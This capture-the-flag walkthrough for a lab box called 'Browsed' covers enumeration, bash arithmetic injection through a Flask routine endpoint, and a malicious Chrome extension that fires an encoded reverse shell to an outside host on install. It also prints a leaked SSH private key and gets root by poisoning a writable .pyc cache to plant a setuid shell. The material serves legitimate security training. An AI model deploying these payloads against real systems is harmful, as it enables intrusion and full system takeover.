Browsed
Enumeration
NMap
10.129.64.176nmap -sC -sV -T4 10.129.64.176
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelsudo nmap -A -sU --top-port 100 10.129.64.176
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpcSSH (22) - Anonymous
ssh anonymous@10.129.64.176 #No ResultsHTTP (80)
- 3 Sample extensions
Fontify,ReplaceImages,Timer
- No Interesting Information found in downloaded extensions
- Upload Function, Accepts Zip Files, Possible only client side verification
Vhost - No Results
ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.129.64.176 -H 'Host: FUZZ.10.129.64.176' -fs 6708Directory - No Results
ffuf -u http://10.129.64.176/FUZZ -w /opt/useful/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403,404
assets [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 36ms]
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 32ms]File Brute Force - No Results
ffuf -u http://10.129.64.176/FUZZ.php -w /usr/share/wordlists/dirb/big.txt
upload [Status: 200, Size: 6979, Words: 2321, Lines: 171, Duration: 31ms]
ffuf -u http://10.129.64.176/FUZZ.html -w /usr/share/wordlists/dirb/big.txt
elements [Status: 200, Size: 20365, Words: 1281, Lines: 438, Duration: 37ms]
index [Status: 200, Size: 6708, Words: 444, Lines: 166, Duration: 30ms]
samples [Status: 200, Size: 4641, Words: 856, Lines: 86, Duration: 30ms]Uploading Extensions to Browsed
- Upon uploading an extension an error message is given
- Reading through the errors shows a another domain called
browsedinternals.htb
- Visiting
browsedinternals.htbis agitteainstance
[1969:1987:0114/011053.307526:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/Hyrda - No Results
hydra -L larry -P /usr/share/wordlists/rockyou.txt ssh://10.129.64.176Vhost - No Results
ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://browedinternals.htb -H 'Host: FUZZ.10.129.64.176'Directory
ffuf -u http://browsedinternals.htb/FUZZ -w /opt/useful/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403,404
v2 [Status: 401, Size: 50, Words: 1, Lines: 2, Duration: 31ms]
larry [Status: 200, Size: 22469, Words: 1870, Lines: 433, Duration: 1768ms]File Brute Force - No Results
ffuf -u http://browsedinternals.htb/FUZZ.php -w /usr/share/wordlists/dirb/big.txtEnumerating GitTea
- Creating a user to login with
gitteauser:gitteapassword
- Found user
Larry
- Found Script routines.sh
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi- Able to perform bash arithmetic injection on the
$1variable
app.py
from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename
import markdown
import os, subprocess
import uuid
app = Flask(__name__)
FILES_DIR = "files"
# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)
@app.route('/')
def index():
return '''
<h1>Markdown Previewer</h1>
<form action="/submit" method="POST">
<textarea name="content" rows="10" cols="80"></textarea><br>
<input type="submit" value="Render & Save">
</form>
<p><a href="/files">View saved HTML files</a></p>
'''
@app.route('/submit', methods=['POST'])
def submit():
content = request.form.get('content', '')
if not content.strip():
return 'Empty content. <a href="/">Go back</a>'
# Convert markdown to HTML
html = markdown.markdown(content)
# Save HTML to unique file
filename = f"{uuid.uuid4().hex}.html"
filepath = os.path.join(FILES_DIR, filename)
with open(filepath, 'w') as f:
f.write(html)
return f'''
<p>File saved as <code>{filename}</code>.</p>
<p><a href="/view/{filename}">View Rendered HTML</a></p>
<p><a href="/">Go back</a></p>
'''
@app.route('/files')
def list_files():
files = [f for f in os.listdir(FILES_DIR) if f.endswith('.html')]
links = '\n'.join([f'<li><a href="/view/{f}">{f}</a></li>' for f in files])
return f'''
<h1>Saved HTML Files</h1>
<ul>{links}</ul>
<p><a href="/">Back to editor</a></p>
'''
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
@app.route('/view/<filename>')
def view_file(filename):
filename = secure_filename(filename)
if not filename.endswith('.html'):
return "Invalid filename", 400
return send_from_directory(FILES_DIR, filename)
# The webapp should only be accessible through localhost
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)- Within
App.pywe see it calls/routines/<rid>
- If we input into
ridwe can usebash arithmetic injection
Creating Malicious Chrome Extension
background.js
const b64shell = "YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjgvNDQ0NCAwPiYxJw=="; //bash -c 'bash -i >& /dev/tcp/10.10.14.128/4444 0>&1'
async function triggerShell() {
try {
const payload = `x[$(echo ${b64shell}|base64 -d|bash &)]`;
await fetch(`http://127.0.0.1:5000/routines/${payload}`);
} catch(e) {
}
}
// Execute on install
chrome.runtime.onInstalled.addListener(() => {
triggerShell();
});
triggerShell();manifest.json
{
"manifest_version": 3,
"name": "Bash Scriptor",
"version": "1.0.0",
"permissions": ["scripting"],
"host_permissions": [
"http://127.0.0.1:5000/*"
],
"background": {
"service_worker": "background.js"
}
}nc -nvlp 4444- Upload extension to catch shell as Larry
Enumerating Larry
cat user.txt
28ed95b31e7159d421eed39bd06ef050SSH as Larry
cd /home/larry/.ssh
cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----' > id_rsachmod 600 id_rsassh -i id_rsa larry@browsed.htbChecking permissions
sudo -l
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py- Checking
/opt/extensiontool
ls -la
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxrwx 2 root root 4096 Jan 17 03:40 __pycache__
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions- We have write permissions to
__pycache__
PYC Vulnerability
- Python compiles imported modules into byte code
.pycstored in__pycache__
- When importing a module Python checks
__pycache__first. If a.pycexists and thetimestampandsizeit will execute without recompiling
- Create
exploit.pyto inject.pyc
- Written Using Claude
cat << EOF > script.py
#!/usr/bin/python3
import py_compile
import os
import struct
import importlib.util
import time
# Create malicious code
malicious_code = '''import json
import os
import shutil
def validate_manifest(manifest_path):
shutil.copy('/bin/bash', '/tmp/rootshell')
os.chmod('/tmp/rootshell', 0o4755)
with open(manifest_path, 'r', encoding='utf-8') as f:
data = json.load(f)
required_fields = ["name", "version", "manifest_version"]
for field in required_fields:
if field not in data:
raise ValueError(f"Missing required field: {field}")
print(f"[+] Manifest is valid.")
return data
def clean_temp_files(clean=True):
temp_dir = '/opt/extensiontool/temp'
if clean and os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
print(f"[+] Cleaned up {temp_dir}")
'''
# Write malicious code
with open('/tmp/extension_utils.py', 'w') as f:
f.write(malicious_code)
# Compile to .pyc
py_compile.compile('/tmp/extension_utils.py', cfile='/tmp/extension_utils.pyc')
# Get original file stats
original_file = '/opt/extensiontool/extension_utils.py'
original_stat = os.stat(original_file)
source_mtime = int(original_stat.st_mtime)
source_size = original_stat.st_size
print(f"[+] Original source mtime: {source_mtime}")
print(f"[+] Original source size: {source_size}")
# Read the compiled .pyc
with open('/tmp/extension_utils.pyc', 'rb') as f:
pyc_data = bytearray(f.read())
# Python 3.12 .pyc format:
# Bytes 0-4: Magic number
# Bytes 4-8: Flags (bit field)
# Bytes 8-12: Timestamp (for timestamp-based) or hash (for hash-based)
# Bytes 12-16: Source size
# Bytes 16+: Marshalled code object
# We need to modify it to be timestamp-based and match the original file
# Set to timestamp-based invalidation (flags = 0)
pyc_data[4:8] = struct.pack('<I', 0)
# Set the source file timestamp
pyc_data[8:12] = struct.pack('<I', source_mtime)
# Set the source file size
pyc_data[12:16] = struct.pack('<I', source_size)
# Write modified .pyc
with open('/tmp/extension_utils_modified.pyc', 'wb') as f:
f.write(pyc_data)
print(f"[+] Created modified .pyc with correct timestamp and size")
# Now copy to __pycache__
target = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
print(f"\n[!] Now run:")
print(f"cp /tmp/extension_utils_modified.pyc {target}")
print(f"touch -d '@{source_mtime}' {target}")
print(f"\n# Trigger:")
print(f"sudo /opt/extensiontool/extension_tool.py --ext Fontify")
print(f"\n# Execute:")
print(f"/tmp/rootshell -p")
EOFpython3 script.py
[+] Original source mtime: 1742727379
[+] Original source size: 1245
[+] Created modified .pyc with correct timestamp and sizecp /tmp/extension_utils_modified.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
touch -d '@1742727379' /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
sudo /opt/extensiontool/extension_tool.py --ext Fontify
/tmp/rootshell -pcat /root/root.txt
596f074507fc876029f586509ebd13cc